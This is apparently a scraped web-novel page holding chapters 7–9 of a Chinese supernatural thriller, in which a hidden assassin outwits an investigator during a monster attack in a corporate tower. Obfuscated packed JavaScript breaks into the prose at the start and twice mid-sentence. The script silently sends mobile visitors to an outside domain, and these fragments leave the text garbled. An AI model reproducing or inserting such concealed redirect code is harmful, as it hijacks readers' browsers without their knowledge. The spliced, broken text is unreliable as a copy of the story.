35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16396455|184295||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “这是李貌,世光科技集团总裁办第一特助,除了没什么礼貌其他都还行。” 陆颉浑然不知自己在死敌眼中已经一跃成为了性格顽劣依仗身份胡作非为给个正眼都嫌烦的世家小少爷。他一脸无所谓地忽略了迎面而来的冷嘲热讽,笑眯眯地给路九观介绍来人身份顺便阴阳一嘴,成功得来又一声毫不客气的冷笑。 “需要我的时候找他就行,尽管麻烦,不用不好意思。” 陆颉一副态度良好,积极配合的模样,但路九观一眼就看出这位小少爷是在给自家特助添堵,他看着面前两人之间明显不对盘的气氛,装作什么都没看出来那般淡然颔首,目送他们离开,转身拨出一个号码。 “闻照,帮我查一个人。” * “再查查这个路九观。” 陆颉仰头向后靠在椅背,有些疲惫地开口:“他还在怀疑我。” 李貌握着方向盘目不斜视,闻言轻嗤道:“我们演技惊人的小少爷还会遭人怀疑?” “年纪轻轻就坐到执行部一把手的位置,又是联合学院学院长的学生,这样的人物岂是那么好骗的?”陆颉闭上眼睛揉着太阳穴,用疲惫和困倦掩盖自己的虚弱,“尽快给我,越详细越好。” 轿车猛地急停。 “家主的意思,是希望你离路九观远一点,不要暴露噬光的身份。这段时间除非必要,组织给你的任务会尽量避免和异管局正面起冲突。” 年轻的特助面无表情转述完毕,脸色顿时肉眼可见变得险恶起来。 “组织事务不在我职权范围内,我只负责传达家主命令,但有一点我可以肯定——” “小少爷,我可不是你的许愿机。”车门锁啪嗒一声打开,李貌抬了抬下巴,毫不留情赶人,“我急着赶去航空港——请下车吧,小少爷,接下来我们不顺路了。” “……” 被车尾气喷了一脸的陆颉站在路口微微叹息,发现这里和自己所住的地方完全是两个方向,他刚拿出手机,就在突如其来的晕眩中站立不稳,一把扶住身旁的广告屏。 被压制一路的虚弱与痛楚再度爆发,陆颉喘息着用额头抵住冰冷屏幕,猩红瞳孔涣散片刻,慢慢聚焦在屏幕反射出的市中心建筑群间。 异管局的标志性钟楼在其中格外显眼。 * 当某道反光一闪而过的同时,路九观迅速折身藏在落地窗下的阴影间。 身为S级异能者,远超普通人的视力让他能清晰地捕捉到某辆特殊牌照的轿车从启动到停下的所有轨迹,也包括了那个黑发青年被赶下车时苍白的脸色和不稳的身形。 他若有所思地撑着下巴,目光落在手中薄薄的几页纸上,照片中黑发红瞳的青年面带微笑,正跟在一位温文尔雅的俊秀男人身旁,共同出席某次三大集团之间的酒会。 世光科技、斯通生物、三力能源。 三大集团是当代毫无疑问的寡头,垄断了整个世界的科技、医药、能源行业,提供了无可计数的工作岗位,其权力的触须几乎探到了人类足迹可以去往的每一个角落。 政府是他们的傀儡,媒体是他们的喉舌,军队更是由他们直接组建而成…… 可以说成为世光科技集团总裁的养弟,陆颉已经拥有了令常人艳羡无比的人生。 路九观看向那少得可怜的,陆颉可以被查到的所有信息。 出生即被丢弃,在阳光孤儿院长大,十三岁被收养。此后在家族内部接受教育,直到十八岁隐藏身份进入首府大学读书,很得家主宠爱,地位极高。 但当真如此吗? 就今天他所看到的一切,陆颉的实际处境却显然不好。 在等级森严规矩分明的世家集团里,竟然会被集团高层当着外人的面肆意奚落,甚至在马路上直接被驱赶下车。 路九观嘲讽地勾了勾嘴角。 果然三大集团都是一个样,人人看起来光鲜亮丽,实则背地里都是披了人皮的野兽,只信奉弱肉强食的森林法则,在这里人性不过是可笑的累赘,唯有权利和金钱占据永恒的高位。 在这样的处境中,陆颉表现出来的种种不合理之处也就有了根据,而在审判庭中他几番试探,可以肯定陆颉确实没有异能,目前看来这位小少爷的嫌疑已经无限趋近于零。 但路九观却始终觉得有什么地方不对劲。 无数次在生死之间救下他的直觉告诉路九观,这个陆颉身上一定有问题,而且必然和最近这一系列事情有关。 连续发生的人造恶种袭击事件,违反常理的异常物动用,恰好被卷入案件的世光科技小少爷,不为人知的世家内幕…… 就仿佛是某种隐秘至极的黑暗迷雾被不经意间掀开了一角,刻意暴露出种种奇诡怪异之处,引诱他一脚踩入。 是陷阱吗? 路九观沉默地站在窗边,遥遥注视着那道纤瘦虚弱的身影消失在街角,低头发出一道已经编辑好的短信。 【明天世光科技集团的活动,我可以去。】 7. 世光大厦(一) 第二天,陆颉正常上班。 他踩点到的时候,惊讶地发现竟然没有任何一个人迟到。 同事们似乎根本没有受到昨天袭击事件的影响,一个个如同往常般面无人色地坐在工位前劈里啪啦敲击键盘。陆颉内心感慨,但十分理解,毕竟能够进入世光科技集团——哪怕只是外包公司,也必然是各大高校的佼佼者,顶级牛马后备役,将生死置之度外的奉献精神不过是最基础配置。 更何况世光科技集团是终身雇员制,提供医疗和教育优先权,福利惠及上下四代,如果员工被恶种袭击不幸身亡还会有巨额赔偿—— 可以说几乎算得上是牛马们最好的归宿,每年不知有多少毕业生挤破了头想要踏入世光大厦的门槛。 总比陆颉这种读个大学还得费劲隐藏身份,白天要努力上学为自己挣文凭,晚上要通宵达旦出任务给家族卖命,每天都在玩命的生活来得有保障。 但是有保障和稳定的生活往往意味着一成不变,而越高的风险,则通常会带来更高的收益。 比如说眼前这个神情自然朝陆颉微微颔首,示意他跟上的公司经理。 ——这是迄今为止,陆颉在追查人造恶种的过程中……钓上来的最有价值的一条鱼。 “异管局没有发现你的问题?” 办公室的大门刚一关上,经理就立刻提出了疑问,看向陆颉的目光里满是怀疑。 “他们就这样把你放出来了?” ——经理并不知道异管局内发生的事。 陆颉垂下眼睛,双手绞在一起。 “嗯,他们什么都没发现,问了我一些话就让我走了。” 他的声音有些发紧,像是透着惊惶和无措,完美地扮演着一个被卷入危险却无力自保的弱者形象。 或许是因为陆颉过分清冷和秀丽的长相,总是能够恰到好处得展现出两种截然相反的气质,当他想要示弱的时候,原本锋利至极的眉眼会自然而然变得柔顺和无害,一如此刻。 “经理……你,你还会做什么吗?我——” 黑发青年有些急切地开口,说到一半又蓦地止住,亮红色的眼睛小心翼翼抬起,蓄起一层薄薄的水汽。 “我需要完成学业,顺利升学。如果再被带入异管局的话,我怕会……会……” 他的声音蓦地哽住,似乎不敢再说下去,微颤的睫毛覆住一片水光的眼睛,看上去就像是要哭了。 “……你不用害怕。” 经理的神情有些古怪,有些不屑,有些放松,又有些可惜,但显然信了陆颉的鬼话。 “我确实还有任务在身,但不在这里。” 似乎确认了什么,经理的语气再度变回从容,透出几分隐隐的自得。 “告诉你也没什么,我接受了新的寄生,但只是暂时的过渡,因为我很快要离开这里……” 他咧嘴笑起来,神情里逐渐染上狂热。 “我要去联合学院,那里有更伟大,更无上的存在——那是一条谱系的恶种始祖!如果能被祂选中……” “如果能被祂选中……”经理喃喃着,眼神越发炙热,逐渐陷入臆想的世界不可自拔,“他们说了,时间就在下个月开学……快了,很快了……很快了……” 陆颉垂下的眼睛里闪过一道冷光。 更伟大,更无上的存在。 一条谱系的恶种始祖。 ——是原初恶种。 但原初恶种绝不可能寄生在人类体内,经理恐怕并不知晓内情。 而联合学院……这个专为异能者开设的学校,正是异常事务联合管理局的前身,二者联系紧密。 陆颉想到梦中红红身边那个特殊的标志,记下这条线索,准备找机会验证,转身离开办公室。 “啊!!!” “啊啊啊!” 一阵压抑不住的尖叫声扑面而来。 办公室内热闹非凡。 不过半个小时过去,一脸死相的同事们竟然个个容光焕发,神采奕奕,空气里弥漫着至少五种不同的香水味道。 陆颉迷惑地打了个喷嚏。 “天啊我就说我们公司什么都垃圾,就是在世光科技集团内办公这点很!好!” 陆颉:? “快快快,姐妹们来不及了路上再补妆!现在跟我去抢占第一排!” 陆颉:? “哎哟小陆啊你怎么还杵在这儿呢?九神今天亲自来集团做宣讲——别愣着了,快跟姐姐们来!” 陆颉:“什么——” 来不及解释了,他被骤然变身大力士的同事一把薅过,身不由己狂奔出门,又在广场中突破重围,杀出一条直达宣讲会场的血路。最终站定的时候陆颉晃了晃晕眩的脑袋,还没来得及思考自己究竟为什么在这儿,冷不丁一抬眼就看到了不远处站着的路九观。 黑发黑眼的首席执行官制服笔挺,单手插兜静静立在一旁,面无表情自带生人勿近气场,哪怕不刻意释放杀气也显得凶神恶煞,以至于会场内到处是跃跃欲试想碰瓷的男男女女,但他身旁一臂范围内却愣是空出了一小圈。 下一刻,凶神恶煞的首席执行官转过身,两人对上目光。 路九观先是一愣,显然有些意外,接着目光在陆颉凌乱不堪的风衣和飞到头顶的碎发上顿了顿,又往周围同样跑得气喘吁吁忙着整理仪表的姐姐们扫视一圈,不知想到了什么,忽然眉梢一挑,朝陆颉露出个“原来如此”的表情。 “……” 少自作多情,陆颉皮笑肉不笑地回了个假笑,心情顿时变得灰暗起来。 这份灰暗的心情在路九观开始宣讲,点名请他上台配合演示的时候到达了顶峰。 * 所以到底为什么会变成现在这样? 陆颉仰面躺在地上,眼神茫然地注视着头顶灯光,绝佳的听力让他能听清遍布整个会场的小声议论,在“啊啊啊好帅”和“呜呜呜真帅”的尖叫声掩盖下,还有一小部分的嗡嗡声内容相当奇怪,仿佛是某种密语。 Wok配一脸!我的老天爷啊能不能原地结芬! 强制!小黑屋! 美强就是坠棒的! 美人和恶犬YYDS! ……他们在说什么? 莫名其妙被点名成为模特,扮演在恶种袭击中精神值濒临危险界限普通人的陆颉眨了眨眼睛,规规矩矩平躺在地上,身下垫着路九观的外套。 他的双手被束缚带扣在头顶,眼睛也被特质的眼罩盖住,路九观正在一一解说这些束缚的用途和意义——为了保护受害者不再进一步受到恶念影响,进而挣扎起来伤害到自己。 ……胡说八道,真要杜绝被恶念影响,一个手刀劈晕不就了事,他看这混蛋就是故意的。 在审判庭里试探自己有没有异能还不够,现在还要继续试探他? 陆颉安然躺在地上,半点没有处于弱势姿态下被他人观看的不自在感,直到某种冰凉的仪器贴着鬓角往下滑,他条件反射地浑身一颤,又在路九观的注视下强行压住不适,只是默默咬紧了牙关。 “这是精神值探测仪,在受害者被控制住后,需要尽快进行检查,判定精神状态……” 冰凉的仪器顺着脸颊一路滑落到颈侧,悬停在咽喉。 陆颉忍耐着从心底泛上来的厌恶感,死死控制住本能反应,在要害被威胁的情况下强迫自己放松,保持在一种微微紧绷的状态。 他现在很想弄死路九观。 “……确定后,才能继续进行下一步救治。” 片刻后,惹人厌烦的声音终于停下,但冰凉的仪器尖端却挑开衬衣衣领,轻轻扫过锁骨上方的凹陷处。 被触碰到敏感地带的陆颉终于克制不住闷哼一声,恼怒地挣扎起来。 “路九观!” ——精神值60。 果然。 智能眼镜显示屏跳出代表安全的绿色数字,路九观低垂视线,仔细打量着身下的黑发青年,目光落在对方放松的指尖,平静眨动的眼球,稳定起伏的胸膛……目光越发幽深。 在大庭广众之下,被置于视力剥夺和自由受限的情境中,身体姿态表现得非常放松,就像这是极为稀松平常的事情那样,看不出任何情绪变化。 ——在恶种横行的当下,精神状态如此稳定,可绝不平常。 路九观事后调过审判庭的记录,发现陆颉前后经历过两次噩梦,但精神值却牢牢稳定在60—— 他对这个数字的质疑顿时达到了顶峰。 因为世界上并不存在能够稳定精神值的异常物。 他怀疑陆颉是隐藏的精神谱系异能者。 于是有了今天的又一次试探。 这次路九观身上携带着数个不同形式的精神值检测异常物,缠绕在手腕上的皮革束缚带、在后脑扣紧的眼罩、以及智能眼镜的摄像头,都安装有极其隐秘的探测功能。 但所有反馈结果,依旧是雷打不动的60。 没有更多犹豫,路九观半跪在安安静静的黑发青年身旁,取出一支特制的检测仪,不动声色延长了演示时间。 太阳穴、耳后、脖颈、咽喉……这支检测仪为精神谱系异能者专用,在接触皮肤时将释放出特定的生物电,无视异能对精神状态的修正,捕捉到准确的精神值范围。 唯一的副作用,是会让身体敏感度变得异常。 从头至尾都保持着安静沉默的黑发青年果然对检测仪有了反应,路九观从对方的微表情中读出抗拒和忍耐,黑沉沉的眼底升起血腥笑意。 抓到你了。 笑意在下一刻凝固在眼底。 ——60。 还是60。 这怎么可能?陆颉的精神力究竟是什么状况? 路九观第一次碰到这样的情况,反复确认过检测数值后他眼中神色从不信转为诧异,最终定格在若有所思。 或许就是因为这份特别,才让陆颉被世光科技集团收养。 精神值恒定——意味着无论如何陆颉都不会被恶种污染,而这种特殊的天赋将会成为应对恶种最有力的武器。 也可能成为刺向人类最可怕的利刃。 路九观想到三大集团、异管局、联合学院那些错综复杂的阴私与秘密,不自觉走神一瞬,手下微微用力,检测仪顿时压着脖颈滑进衣领。 “唔……” 极其轻微的闷哼响起,始终安静配合的黑发青年呼吸忽然加快,胸膛急剧起伏中整个人都挣扎起来。路九观一惊,条件反射般俯身探手控制住青年手腕,另一手覆上高高扬起的脖颈,扣住咽喉。 “……路九观,放开我!” 恼怒的低喊在同时响起,路九观回过神,发现自己整个上半身几乎与陆颉紧贴,黑发青年漂亮的薄唇紧紧抿成一线,因为无法反抗而忍耐地偏过头,绯色从修长的脖颈一路蔓开,直到被挑开的领口深处。 他们的姿势很微妙,从台下只能看到路九观的半边身体,陆颉则被完全挡住。而在台上,只有路九观能看到黑发青年衣衫凌乱隐忍低喘的模样,感受到掌下激烈跳动的脉搏,滚烫到几乎灼人的热度,和喉结滚动蹭过掌心微微的酥痒—— 上一次见面时气焰嚣张,天不怕地不怕的小少爷,现在毫无反抗之力地被束缚控制在他身下,就像是一只被逼至绝境,被迫翻开肚皮露出咽喉的……脆弱又美丽的猎物。 “……抱歉。” 路九观蓦地回过神,迅速起身解开所有束缚,他伸手想拉陆颉却被狠狠打开,脸色苍白眼睛通红的黑发青年冷冷看了他一眼,拢着风衣头也不回地下了台。 路九观还得留在台上做总结,他心不在焉地说着场面话,眼角余光却始终注意着那道不远不近躲在暗处的身影,不知道为什么心底忽然莫名生出怪异的感觉,总觉得浑身都有些不得劲。 刚刚看到陆颉手腕上有一道红痕,束缚带而已,才几分钟这么容易就留下痕迹? 眼睛那么红,哭了? ……难道他刚刚很粗暴? 不过眼神还是那么凶……像只张牙舞爪的小猫。 还有衣领下……黑色检测仪点在锁骨时极致的反差…… ——! 台下掌声雷动,路九观猛地收回心思,面无表情颔首致谢,眼前却再度晃过陆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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他看了看方向,低头发出一道信息,转身踏入通往高层的电梯。 公区的植物园位置很偏僻,植被茂密,规模极大,通常作为对外开放的公园,而更绝妙的是植物园后门一墙之隔,就是世光科技集团内部的垃圾处理站。 经理的选择很不错。 很为陆颉着想。 陆颉脚步不停,通过一道道绝不该属于实习生卡权限的高级权限区域,在拐进某一扇门前看了眼走廊尽头。 天花板与墙壁交角处,原本光滑平整的表面忽然自外而内缩进数十公分,黑黢黢的洞口内探出一个正在工作中的摄像头。 红光以某种特殊的频率闪烁起来,接着彻底熄灭,无声无息退回墙内。 陆颉朝那处无声点了点头。 啪嗒。 身份验证通过,身前的大门缓缓洞开,陆颉屈身走入。 那赫然是一片如同迷宫般错综复杂的通道! 世光大厦占据了整整一个街区,由十栋摩天高楼组成,通过数不清的连廊和空中花园互相连接,街区十层以下仅供车辆通行,以不同级别的权限进行区分。 这样复杂的地形和精准到人的权限分配下,通常每个人都只能熟悉自己固定的路线和区域,不同楼栋之间更是需要通过内部交通衔接——同样由权限决定是否能够通行。 而几乎没有人知道的是,集团内部还有着另一套通行体系。 ——隐藏在无数廊道与管线中的,遍布整个世光大厦的密道。 陆颉在密道中飞快穿梭。 异管局的宣讲刚到中场休息,他在得知经理邀请时计算过时间,通过密道往返,处理完经理刚好来得及赶回去,不会引起怀疑, 只要—— “咦呜咦呜咦呜咦呜——” 封闭的密道内,刺耳的警报声骤然响起。 是恶种袭击警报! 陆颉脸上始终平静无波的神色一僵,他有些愕然地拿出手机,看到一条刚刚跳出的新消息。 “异管局带来了最新款的恶种预警机,侦测到了被我们压下的恶念波动。” “他们往植物园方向去了。” 陆颉脚步猛地一顿。 手机中新的消息还在不停进入,一条条飞快地弹出。 “你要的路九观的资料,自己看。” “在联合学院发现了原初恶种的线索,确认属实。” “还有,这次恶种袭击让组织处理,你别添乱!” 陆颉握着手机,目光意味不明地落在联合学院的那条消息上。 经理透露出的情报无误,联合学院里确实有一个原初恶种,但是不是红红的身体…… 梦境中和路九观随身携带的文件里先后出现过的那个符号在陆颉脑海中浮现一瞬,他皱了皱眉,发现自己并不能做出肯定的推测。 也就是说,联合学院和异管局这两个地方,至少藏着一个原初恶种,甚至有可能是两个。 陆颉很快做出了决定。 他要进入联合学院。 联合学院的历史比异管局更加久远,隐藏着更多的辛秘,或许能在其中找到其他原初恶种的线索。 只不过联合学院只招收异能者,而陆颉的异能非常特殊,不能轻易暴露,他也并不打算让他人知晓。 那么如果这一次,在世光大厦的人造恶种袭击事件中……有没有可能…… 陆颉在心底迅速权衡利弊,生出了一个疯狂而大胆的想法,他指尖飞快地再度编辑出一条信息,发送至某个未署名的号码。 不多时,手机屏幕一亮,简短的文字浮现一瞬,接着碎裂成无数光点,化作黑烟消散。 消息来自组织。 “组织会配合你截获人造恶种,进入联合学院。” 眸光闪动,释出某种疯狂与野心交织的亮芒,让那对猩红瞳孔越来越灼人,像是蕴藏着熊熊燃烧的火焰。 陆颉微微勾起唇角,走出密道。 一座被掩盖在浓雾下的植物园,出现在他眼前。 8. 世光大厦(二) 陆颉看着眼前的植物园。 恶念已经形成了肉眼可见的浓雾,但植物园仍维持着原貌,成片望天树林冠连绵,遮天蔽日,底下各类藤蔓、灌木、地被植物自由生长,一副生机勃勃景象。 但整座植物园中,听不到任何生物的呼吸声。 只有无穷无尽的细碎声响不知从何处而起,身前身后,四面八方,一层层一重重涌来,伴随着成百上千,成千上万的……来自恶种的凝视! “咻!” 一根鸡血藤从头顶倒挂而下,倏尔袭击向陆颉后脑,被他握在手中折断。尖利刺耳的嘶鸣声里,断口流出猩红血水,接着数以百计密密麻麻的细小瞳孔齐齐睁开,向他投来好奇的目光。 “……” 陆颉沉默地丢开那半截藤蔓,抬步向前,下一秒脚上一沉,只见那鸡血藤期期艾艾贴着他鞋底,数不清的眼睛扑闪扑闪,充满了讨好与亲近。 ……倒也不必。 很明显,整座植物园都被恶念污染发生了变异,只不过这些异变植物对陆颉毫无攻击欲望,却都很跃跃欲试想和他贴贴。 陆颉感觉到从四面八方投来的热切目光,不禁感到一阵头皮发麻,他拍开真言之书,拎起正在呼呼大睡的猩红眼球,使劲抖搂了几下。 “嘤嘤!” 小眼球哼哼唧唧一声,扭扭腰从陆颉袖口钻进,在领口位置冒出个头,立马激动起来。 “嘤!好多控制谱系的新生恶种宝宝!” “伟大的瑞德红始祖的后裔!” 猩红眼球兴奋地探头四处张望,和这根鸡血藤贴贴,和那棵猪笼草玩手心手背,一会儿窜进无花果树的板根上贴地爬行,一会儿又和绞杀榕的根系互扯头花,身后很快聚集起一众恶种小弟,俨然已成为了这片丛林的宝宝王。 陆颉目不斜视跨过满地群魔乱舞,毫不受影响地继续深入,忽然猩红眼球“哇”得一声跳进他怀里,重瞳激动地乱颤。 “主人,这里有我的本源恶念!” 粉嫩的触手在陆颉怀里来回扭动,吸盘一开一合,数不清的重瞳在吸盘间到处乱窜:“主人我们快去!吃掉他!吃掉他!吃吃吃@#T@#Y$……!” 在来自原初恶种的坚定意志下,同一谱系下的恶种宝宝们顿时不安分地躁动起来,整座植物园的气息骤然一变,饥饿贪婪的情绪回荡在丛林里,狂涌着指向了同一个方向。 陆颉:“……你留在这里,想办法拖住异管局。” 他在小眼球的嗷嗷大哭声中无情地大踏步远去,没过多久就在整座植物园的指路下来到了最深处的边界地带。 公司经理站在巨大的望天树下,身体完全隐没在雾气中,朝他露出一个古怪的微笑。 “陆颉,你来了。” 下一刻,灰白雾气无声无息在陆颉身旁汇聚,化作无形枷锁捆住他的双手,将他瞬间扯了过去! * “经理,你要干什么?” 陆颉脸上露出强作镇定但难掩恐惧的神情。 他微微垂下头,不着痕迹地打量着公司经理,发现对方身上的气息比先前要稳定很多,不再像是东拼西凑随手捏在一起般的混乱驳杂,似乎体内的力量正在某种统一的意志下逐渐被归拢。 而经理的模样,看起来也已经完全接近恶种了。 那副人类的身躯自腰部以下发生畸变,数十条灰白触手在地面灵活地游动,逐渐靠近树下。 “我只是收到了命令。” 经理没有立刻回答,而是凑到陆颉眼前,苍白的脸颊上冒出一颗颗细密的眼瞳,堆满了一模一样的困惑和不解。 “你能从我的攻击里活下来,还没有被异管局发现问题,这证明你的实力不算差,不至于会被废弃——” “但为什么他们要你死?” 陆颉眸光微动。 知道他身份的人一只手数的过来,彼此知根知底,不会无缘无故起杀心。 所以经理背后的“他们”,要杀的是作为普通学生的陆颉。 但陆颉的档案十分平常,究竟是哪里引起了那些人的注意? 他动了动被束缚在头顶的手腕,假意挣扎,脚后跟触碰到草丛里一支被打空了的针剂,未散尽的恶念从中流淌而出,真言之书内的猩红眼球顿时躁动起来。 陆颉若有所思。 红红的本源恶念。 眼前的公司经理,注射了由红红的恶念制造出来的某种药物,强行融合了体内不属于自己的力量。 植物园的变化,是因为被散溢出的这份本源恶念影响。 那么红红的本源恶念又是从哪里来的? 会是那具丢失的本体吗? “我不知道……他们,他们究竟是什么人?” 黑发青年垂着头低低地开口,声音轻得几近破碎,像是已经在徒劳无功的挣扎中认命,只祈求一个真相。 “他们?” 触手在草丛中滑动,发出沙沙的声响。 “是啊,他们是谁……谁知道呢?”经理的语气里带着怜悯和讥讽,“但能够让人类拥有恶种的力量……轻而易举在人群里挑选中心甘情愿的我们……又有谁能拥有这样大的能量呢?” “我只知道他们的大本营就在这里。”经理忽然凑近陆颉耳边,畸变的声带发出磨玻璃般粗粝难听的笑声,“你猜……是世光科技……还是……异管局?” 黑发青年肩头不住颤抖,垂落的长睫下一片水光,却再也没有发出任何声音,像是在真相下震惊绝望到极点,彻底被摧毁了最后一点求生意志。 见状,经理轻蔑一笑,滑动至树后,没有再看向青年。 “现在,安心上路吧。” 话音落下,灰白触手激射而出,顷刻间洞穿了青年的咽喉! …… …… 沙沙。 望天树下一片安静,经理负手站在树后,漫不经心地收回触手。 灰白触手自草丛内游动而来,尖端沾满了草屑,却不见任何血迹,经理一愣,忽然觉得有些不对劲。 没有听到尸体倒地的声音。 也没有闻到新鲜血液的芬芳香味。 那个学生难道还没有死透? 灰白触手一瞬间全部张开,他霍然转身—— !!! 在看清树下那道身影时,高度畸变的脸庞孔霎时陷入一片空白,因恐惧而放大的瞳孔内清晰地映出眼前的一切。 望天树下,裸露的树根交错虬结,如巨蛇彼此缠绕,形成一张冰冷坚硬的王座。 而坐在王座上的那个人—— 暗金面具将脸部完全遮住,只露出一对晦涩不明的暗红瞳孔,银白长发被高高竖起,垂至腰际。他整个人气质浑然一变,原本的恐惧,茫然,惊惶都消失不见,取而代之的是锋利、冷漠,以及极致的危险。 他手中虚虚握着一片晶莹的糖纸,十指翻飞间很快折叠出一枚小巧的王冠,接着他漫不经心地将王冠举过肩头,逗弄起灰白古木根系上生长出的一簇簇黑色重瞳花。 这些危险至极的A级恶种在他手下如同乖顺的宠物,争先恐后地成片绽放,顷刻间便在一片灰白的丛林里蔓延开。 无数妖异诡谲的重瞳紧紧盯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16396457|184295||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 住了这里唯一的猎物。 而后那对暗红瞳孔也居高临下望来。 “是……是是是,是你……” 这时经理才找回了自己的声音,哆哆嗦嗦地开口,垂落在地的触手僵硬无比,被来自更高等级的恶念压制得动弹不得。 经理的脸上布满了恐惧。 几乎所有异能者都知道,在这个人类和恶种对抗已久的世界里,有一个人的存在极其特殊。 他的异能未知,但能够驱使恶种,令恶种为自己所用。 他是异管局通缉榜首位,被三大集团公开悬赏却要求不得伤及性命,他是地下世界里唯一一个胆敢与三大集团叫板的组织的首席杀手。 “……噬光。” * “您,您想要什么?只要是我能做的,我什么都愿意!” 高度畸变的人造恶种跪在地上,脸孔已经被数不清的瞳孔覆盖,只能发出含混的声音。 “我真的不知道他们究竟是什么人!他们……但他们确实是中心城的人!这里,对,对!我听得出他们说话的口音,没错,没错……他们就在这里!” 面具后的暗红瞳孔内露出几分遗憾。 高度畸变已经影响到了经理的脑子,对方的价值到此为止,几乎已经被完全榨干。 但套出的消息却很有用。 联合学院的原初恶种,以及异管局的人造恶种。 为陆颉指明了两个清晰的方向。 “咕——咕咕!” 一声寻常的鸟鸣声响起。 陆颉偏过头。 树下无声无息出现了一个戴着狼首面具的组织杀手,对方附在陆颉耳边轻声低语几句,随后迅速走入隐匿在树后的一扇铁门。 铁门另一头,就是世光大厦的垃圾处理站。 陆颉看向脚下的经理:“现在有一件事,刚巧只有你能做。” 远处传来激烈的交战声,明黄色警戒线在丛林掩映中若隐若现,戴着面具的组织杀手,黑衣的执行部异能者,以及猩红眼球带领下的恶种们陷入了三方混战,在几方各自的暗藏心思里,战场正在迅速朝他们推移。 陆颉朝完全失去自主判断能力,呆愣愣伏在地上的经理伸出手。 意料之中的,异能并未作用。 但这一次,环绕在他身边的重瞳花却齐齐发出雀跃的欢呼,她们脱离了古木枝条,一瓣又一瓣没有间歇地没入经理的身体。 “啊——啊!啊啊!!啊啊啊啊啊——” 痛苦至极的尖叫声打破树下的安静,已经失去自我认知的经理在本能下哀嚎起来,遍布身体的灰白眼睛疯狂张合,瞳孔在其中剧烈颤动,一点点被染上墨色。 精神谱系A级恶种,暗影重瞳花,能力与人造恶种的原理极其相似—— 蚕食,寄生。 重获新生。 恢复了原本人类姿态的经理站起身,眼瞳内蔓开漆黑墨色,直愣愣地盯住陆颉,主动踏前一步,将自己的脖颈置于他掌下。 陆颉缓慢卡紧虎口,将经理提起。 “吼——” 挣扎,嘶吼,压制,一切自然而然发生,陷入疯狂的人造恶种在组织杀手的控制下垂死挣扎,即将被彻底杀死—— 而就在这一刻。 轰! 剧烈的冲击波自远处轰然而至,望天树下的王座在刹那间被震得粉碎,满面森寒的路九观从被清空的通道内一步步踏出,单手执枪,迅速锁定了戴着暗金面具的身影。 “噬、光!” 警告与子弹不分前后,急速射来! ——砰! 9. 世光大厦(三) 哐啷! 陆颉在子弹逼近的同时飞身后退,径直撞入铁门之内,与先一步来到这里的狼首对上目光。 他摘下面具,和短刀一起交给对方,狼首一言不发接过,毫不犹豫反手握刀刺出,深深没入陆颉的肩窝一转一带! “噗!” “嗡!” 血肉被划开的闷响和子弹划破空气的爆鸣重叠,门内门外两边同时做出反应! “出来!” 路九观平举手枪大踏步向前,眼神凌厉至极,下一刻脚步却蓦地一顿,危险预警升起的刹那闪着寒芒的刀锋已在眼前,千钧一发之际他侧身避让,飞旋的短刃贴着鼻梁狠狠扎入树干,落下一连串的鲜血! 路九观的目光猛地一凝,没等他仔细分辨铁门就从另一侧被砰得踹开,尘土飞扬间一道凶悍的声音语带威胁开口。 “想清楚再动手,路九观。” 四周遮天蔽日的恶种植物飞快散去,像是在惧怕来人,骤然明亮的光线下,两道一前一后交叠的身形浮现。 戴着狼首面具的组织杀手紧紧扣住黑发青年的咽喉,不顾他踉跄不稳的身形粗暴推搡,藏在他身后一步步踏出门外。 “路九观……” 黑发青年艰难出声,声音虚弱得几乎听不到,那张苍白的面容从阴影中一点点露出,沾染着新鲜的血液。 路九观的心重重沉了下去。 是陆颉。 这位世光科技集团的小少爷不知为何被掳来了这里,成为了组织要挟他们的人质! “狼首,你们已经无路可逃了,放弃抵抗。” 被警戒线围起来的封锁空间内,组织杀手们和执行官互相对峙,路九观站在最前方,目光冰冷地盯住挟持着人质的杀手,眼底的犹疑稍纵即逝。 狼首,这个坐镇组织负责调度的高层亲自现身,是为了接应噬光? 噬光的气息此时已经消失得无影无踪,但怎么会这么巧,就在噬光脱身的瞬间,陆颉就被挟持了? 这二者之间会有什么关联吗? 噬光,意思是吞噬光而生,足以见得组织的目标究竟是谁,他们与世光科技集团是绝对的敌对关系。 路九观本不该产生这样的怀疑,但他的脑海中无法控制地闪过陆颉的个人资料、那位第一特助的态度和某个始终维持稳定的精神值—— 没有证据表明陆颉存在嫌疑,但路九观的直觉却总在不断给出违和与怪异的感觉。 这样的直觉,在无数次生死危机间救过他的命。 他从不忽视自己的直觉。 但是陆颉…… 路九观没有错过黑发青年惨白的脸色和无力垂落的双手,殷红的血顺着指缝不断滴落,半身风衣都已经被染红。他可以准确判断出伤口位于肩胛骨下方,伤人者手法极其刁钻。 这种伤口最大程度限制行动的同时,会给人带来极大的痛苦,稍有拖延就将急剧恶化。 也就是说陆颉受的伤如果不及时得到处理—— 是真的会死。 “——别动!” 